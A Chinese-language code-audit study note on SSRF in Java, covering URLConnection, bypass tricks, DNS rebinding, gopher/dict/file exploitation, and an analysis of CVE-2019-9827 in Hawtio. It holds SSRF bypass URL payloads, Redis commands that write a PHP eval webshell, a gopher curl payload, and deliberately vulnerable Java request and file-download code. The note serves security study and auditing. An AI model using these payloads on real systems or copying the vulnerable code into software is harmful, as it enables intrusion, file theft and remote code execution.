0x10 基础知识

0x11 URLConnection

java中抽象出来了一个URLConnection类,
用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL类中的openConnection方法获取到URLConnection的类对象
其中支持的协议在 sun.net.www.protocol 中
file ftp mailto http https jar netdoc jdk8中删除了 gopher java中的主要限制
建立一个URL 请求响应的过程,代码如下
D:\Goodday\Code_audit\JAVA\javastudy\src\URLConnectionDemo.java
使用URL建立一个对象,调用url对象中的openConnection来获取一个URLConnection的实例,然后通过在URLConnection设置各种请求参数以及一些配置,在使用其中的connect方法来发起请求,然后在调用getInputStream来获请求的响应流。**

0x12 SSRF

SSRF漏洞形成的原因大部分是:
因为服务端提供了可以从其他服务器获取资源的功能,然而并没有对用户的输入以及发起请求的url进行过滤&限制,从而导致了ssrf的漏洞。
https://www.mi1k7ea.com/2020/02/29/SSRF-Tricks小结/

0x12—发现 ssrf

通常ssrf容易出现的功能点如下面几种场景,一些fuzz的点,和一些可以fuzz的ssrf payload ,cheatsheets(备忘录)https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md

  • 抓取用户输入图片的地址并且本地化存储
  • 从远程服务器请求资源
  • 对外发起网络请求

使用工具来发现:
https://github.com/random-robbie/ssrf-finder https://github.com/micha3lb3n/SSRFire

0x12—ssrf bypass

可能出现的点的进行fuzz,一些bypass WAF的技巧,DNS Rebinding 重绑定,p牛知识星球的一些技巧,BugTipinTwitter

  • SSRF payloads

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/
http://192.168.0.1

https://twitter.com/ADITYASHENDE17/status/1276719828917555202

DNS rebinding对以下行为的bypass
在请求资源前先访问DNS服务器判断是否为内网IP
SSRF IN Java - 图1

DNS重绑定

当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。

SSRF IN Java - 图2

攻击思路是基于这种SSRF防御思路的基础上的,检查逻辑是第一次DNS查询请求确定host是不是内网IP,第二次请求的时候存在一个小间隔,导致了解析的差异性。

0x12—ssrf 利用

在使用ssrf漏洞的时候,大部分是用来读取文件内容或者对内网服务端口探测,或者在域环境情况下且是win主机下进行ntlmrelay攻击

  • 利用http进行ntlmrelay攻击(仅限HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)

在《Ghidra 从 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。大致原理是,由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。

利用步骤:

  1. 摸清 SSRF 的状态是否为布尔状态
  2. 此 SSRF 支持什么协议
  3. 此 SSRF 是否支持 302 跳转
    一些利用的协议
  • file:读取服务器上的任意文件内容:
    windows下的 file:///C:/Windows/win.ini
    • Linux下的
  • dict:除了泄露安装软件版本信息,还可以查看端口,操作内网Redis服务->getshell等;
  • gopher:能够将所有操作转换成数据流,并将数据流一次发送出去,可以用来探测内网的所有服务的所有漏洞,

可利用来攻击Redis和PHP-FPM;gopher协议的使用
<-以下知识来自这片文章

https://github.com/tarunkant/Gopherus gopher码生成工具Redis webshell工具

https://github.com/FoolMitAh/mysql_gopher_attack 攻击mysql工具
https://github.com/pimps/gopher-tomcat-deployer
XXE来读取其中的TOMCAT账号密码 ,最后用gopher来执行RCE。

攻击 PHP-FAST CGI p神脚本https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
原理:P神文章 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
当Web服务器收到HTTP请求时,就会去调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给CGI进程,CGI进程拿到内容就会去解析对应PHP文件,得到的返回结果再返回给Web服务器,最后再由Web服务器返回到客户端。

来自 https://www.mi1k7ea.com/2019/08/25/浅谈PHP-FPM安全/#0x05-SSRF攻击本地PHP-FPM

FastCGI(Fast Common GatewayInterface)全称是“快速通用网关接口”,是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议。
Fastcgi协议由多个record组成,其中recoed包含header和body。服务器中间件将header和body按照fastcgi的规则封装好通过tcp发送给FPM(Fastcgi协议解析器),FPM解码后将结果再封装后返回给中间件。

主要原理:

  1. 解析:NGINX与IIS7曾出现php解析漏洞,例如访问http://127.0.0.1/1.jpg/.php则访问的文件是1.jpg,却按照.php解析。由于php中的fix_pathinfo特性,如果地址路径为/var/www/abc。它会先判断SCRIPT_FILENAME即/var/www/abc/1.jpg/.php是否存在,如果不存在则去掉最后一个/和后面的内容,判断/var/www/abc/1.jpg是否存在,如果存在则按照php来解析。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

利用gopher向Redis 写入webshell
常规写shell的方法:

  1. Flushall
  2. set 1 '<?php eval($_GET["cmd"]);?>' 或着反弹shell使用的方法进行攻击
  3. config set dir /www/wwwroot/
  4. config set dbfilename shell.php
  5. save

用wireshark捕捉lo0,再写入:右键定位tcp跟踪流:根据转化规则转成gopher码

  1. GET /edit.php?a=Hi HTTP/1.1Host: 127.0.0.1Connection: close
  2. 转换规则
  1. 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  2. 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  3. 将\r字符串替换成%0d%0a
  4. 空白行替换为%0a。
  5. 问号需要转码为URL编码%3f,同理空格转换成%20。
  6. 在HTTP包的最后要加%0d%0a,代表消息结束。
    我们先将其转换成gopher协议执行。
  1. Curl gopher://192.168.11.1:80/_POST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a

利用DNS缓存和TLS协议将受限SSRF变为通用SSRF

SSRF IN Java - 图3

others

  1. 一些wiki
  2. ssrf圣经:file:///D:/other/web/SSRFbible%20Cheatsheet.pdf
  3. 详尽的清单,列出了可以锁定Blind SSRF漏洞的所有可能方式:
  4. https://github.com/assetnote/blind-ssrf-chains

0x20 ssrf in java code

由于java 上支持的协议,比php,asp.net 的比较少

0x21 端口探测 — 使用 http/https://

代码实例

  1. String url = request.getParameter("url");
  2. String htmlContent;
  3. try {
  4. URL u = new URL(url);
  5. URLConnection urlConnection = u.openConnection();
  6. HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
  7. BufferedReader base = new BufferedReader(new InputStreamReader(httpUrl.getInputStream(), "UTF-8"));
  8. StringBuffer html = new StringBuffer();
  9. while ((htmlContent = base.readLine()) != null) {
  10. html.append(htmlContent);
  11. }
  12. base.close();
  13. print.println("<b>端口探测</b></br>");
  14. print.println("<b>url:" + url + "</b></br>");
  15. print.println(html.toString());
  16. print.flush();
  17. }
  • URL对象用openconnection()打开连接,获得URLConnection类对象。(建立连接)
  • 用InputStream()获取字节流
  • 然后InputStreamReader()将字节流转化成字符流(处理函数)
  • BufferedReader()将字符流以缓存形式输出的方式来快速获取网络数据流
  • 最终一行一行的输入到 html 变量中,输出到浏览器
    实现一个http请求的过程,如果对 url 参数(请求的地址)没有进行限制和过滤,就可以实现ssrf攻击。

0x22文件读取下载 — 使用 file:// 协议

代码实例 :将上述代码删除一行,删除 HttpURLconnection()是基于http协议的,而我们要用的是 file 协议,删除后即可利用file协议去读取任意文件

  1. String url = request.getParameter("url");
  2. String htmlContent;
  3. try {
  4. URL u = new URL(url);
  5. URLConnection urlConnection = u.openConnection();
  6. BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  7. StringBuffer html = new StringBuffer();
  8. while ((htmlContent = base.readLine()) != null) {
  9. html.append(htmlContent);
  10. }
  11. base.close();
  12. print.println(html.toString());
  13. print.flush();
  14. }

使用任意文件读取就可以实现。

任意文件下载 就是将读取到的文件写入数据流中,进行了任意文件下载

  1. int length;
  2. String downLoadImgFileName = "SsrfFileDownTest.txt";
  3. InputStream inputStream = null;
  4. OutputStream outputStream = null;
  5. String url = req.getParameter("url");
  6. try {
  7. resp.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
  8. URL file = new URL(url);
  9. byte[] bytes = new byte[1024];
  10. inputStream = file.openStream();
  11. outputStream = resp.getOutputStream();
  12. while ((length = inputStream.read(bytes)) > 0) {
  13. outputStream.write(bytes, 0, length);
  14. }
  15. }

0x30 案例分析(CVE-2019-9827)

0X31 案例介绍

CVE 地址:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827

Hawtio是用于管理Java应用程序的轻型模块化Web控制台。Hawt Hawtio小于2.5.0版本都容易受到SSRF的攻击,远程攻击者可以通过 /proxy/地址发送特定的字符串,可以影响服务器到任意主机的HTTP请求。
部署使用tomcat直接部署war包进行部署。

0x32分析

可以通过反编译获取本程序的源码,或者通过github的tree分支来获取源码

获取源码的tips 来自p牛:”实际上,如果你分析的是开源项目,比如我这里的例子是springboot,就可以直接下载到源码。比如图1中,因为我用的maven,所以Intellij IDEA可以自动下载源码。点击右上角的“Download”可以自动从maven中搜索源码包,下载后,我们可以看到图1的代码变成图2的代码了,显然更好理解多了。如果无法自动下载到源码包,比如在调试到Tomcat内部代码的时候,因为Tomcat不是用maven安装的,所以点击“Download”无法自动下载。但我们也可以去网上找源码包,比如图3中的tomcat-api-9.0.8-sources.jar,下载以后,点击Choose Sources,选择这个文件即可。“

通过github的tree分支来获取源码
查看功能点:在hawtio-system/src/main/java/io/hawt/web/ 目录下
进入proxy 查看
进入漏洞点:

hawtio-system/src/main/java/io/hawt/web/proxy/ProxyServlet.java
进入service函数

  1. protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse)
  2. throws ServletException, IOException {
  3. // Make the Request
  4. //note: we won't transfer the protocol version because I'm not sure it would truly be compatible
  5. // 获取URL地址,然后判断其是否为空,
  6. ProxyAddress proxyAddress = parseProxyAddress(servletRequest);
  7. if (proxyAddress == null || proxyAddress.getFullProxyUrl() == null) {
  8. servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND);
  9. return;
  10. }
  11. //不为空,判断该URL
  12. // TODO Implement whitelist protection for Kubernetes services as well
  13. //instanceof 是 Java 的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例,返回 boolean 的数据类型。
  14. if (proxyAddress instanceof ProxyDetails) {
  15. ProxyDetails details = (ProxyDetails) proxyAddress;
  16. //whitelist.isAllowed()判断该URL是否在白名单里
  17. if (!whitelist.isAllowed(details)) {
  18. LOG.debug("Rejecting {}", proxyAddress);
  19. ServletHelpers.doForbidden(servletResponse, ForbiddenReason.HOST_NOT_ALLOWED);
  20. return;
  21. }
  22. }

通过whitelist.isAllowed()判断该URL是否在白名单里,进入whitelist函数查看

  1. public ProxyWhitelist(String whitelistStr, boolean probeLocal) {
  2. //校验字符串是否为空
  3. if (Strings.isBlank(whitelistStr)) {
  4. whitelist = new CopyOnWriteArraySet<>();
  5. regexWhitelist = Collections.emptyList();
  6. } else {
  7. whitelist = new CopyOnWriteArraySet<>(filterRegex(Strings.split(whitelistStr, ",")));
  8. regexWhitelist = buildRegexWhitelist(Strings.split(whitelistStr, ","));
  9. }
  10. if (probeLocal) {
  11. LOG.info("Probing local addresses ...");
  12. initialiseWhitelist();
  13. } else {
  14. LOG.info("Probing local addresses disabled");
  15. whitelist.add("localhost");
  16. whitelist.add("127.0.0.1");
  17. }
  18. LOG.info("Initial proxy whitelist: {}", whitelist);
  19. mBeanServer = ManagementFactory.getPlatformMBeanServer();
  20. try {
  21. fabricMBean = new ObjectName(FABRIC_MBEAN);
  22. } catch (MalformedObjectNameException e) {
  23. throw new RuntimeException(e);
  24. }
  25. }
  26. public boolean isAllowed(ProxyDetails details) {
  27. if (details.isAllowed(whitelist)) {
  28. return true;
  29. }
  30. // Update whitelist and check again
  31. LOG.debug("Updating proxy whitelist: {}, {}", whitelist, details);
  32. if (update() && details.isAllowed(whitelist)) {
  33. return true;
  34. }
  35. // test against the regex as last resort
  36. if (details.isAllowed(regexWhitelist)) {
  37. return true;
  38. } else {
  39. return false;
  40. }
  41. }
  42. public boolean update() {
  43. if (!mBeanServer.isRegistered(fabricMBean)) {
  44. LOG.debug("Whitelist MBean not available");
  45. return false;
  46. }
  47. Set<String> newWhitelist = invokeMBean();
  48. int previousSize = whitelist.size();
  49. whitelist.addAll(newWhitelist);
  50. if (whitelist.size() == previousSize) {
  51. LOG.debug("No new proxy whitelist to update");
  52. return false;
  53. } else {
  54. LOG.info("Updated proxy whitelist: {}", whitelist);
  55. return true;
  56. }
  57. }

判断 URL 是否为 localhost、127.0.0.1或者用户自己更新的白名单列表,如果不是返回 false。

回到 service(),往下看函数:

  1. if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null ||
  2. servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) {
  3. HttpEntityEnclosingRequest eProxyRequest = new BasicHttpEntityEnclosingRequest(method, proxyRequestUri);
  4. // Add the input entity (streamed)
  5. // note: we don't bother ensuring we close the servletInputStream since the container handles it
  6. eProxyRequest.setEntity(new InputStreamEntity(servletRequest.getInputStream(), servletRequest.getContentLength()));
  7. proxyRequest = eProxyRequest;
  8. } else {
  9. proxyRequest = new BasicHttpRequest(method, proxyRequestUri);
  10. }
  11. copyRequestHeaders(servletRequest, proxyRequest, targetUriObj);

BasicHttpEntityEnclosingRequest()拥有RequestLine、HttpEntity以及Header,这里用的是 entity,HttpEntity即为消息体,包含了三种类型:数据流方式、自我包含方式以及封装模式(包含上述两种方式),这里就是一个基于HttpEntity的, HttpRequest接口实现,类似于上文中的urlConnection。

所以这个 service()的主要作用就是获取请求,然后HttpService把HttpClient传来的请求通过向下转型成BasicHttpEntityEnclosingRequest ,再调用HttpEntity,最终得到请求流内容。

这里的请求只对传入的URL进行了限制,但是没有对端口、协议进行相应的限制,从而导致了SSRF漏洞。

0x33总结

对于 SSRF 的审计可以从 http 请求函数入手,这里提供一些审计函数,如下:

  • HttpClient.execute
  • HttpClient.executeMethod
  • HttpURLConnection.connect
  • HttpURLConnection.getInputStream
  • URL.openStream
  • HttpServletRequest
  • getParameter
  • URL
  • HttpClient
  • Request (对HttpClient封装后的类)
  • HttpURLConnection
  • URLConnection
  • okhttp
  • BasicHttpEntityEnclosingRequest
  • DefaultBHttpClientConnection
  • BasicHttpRequest
  • URI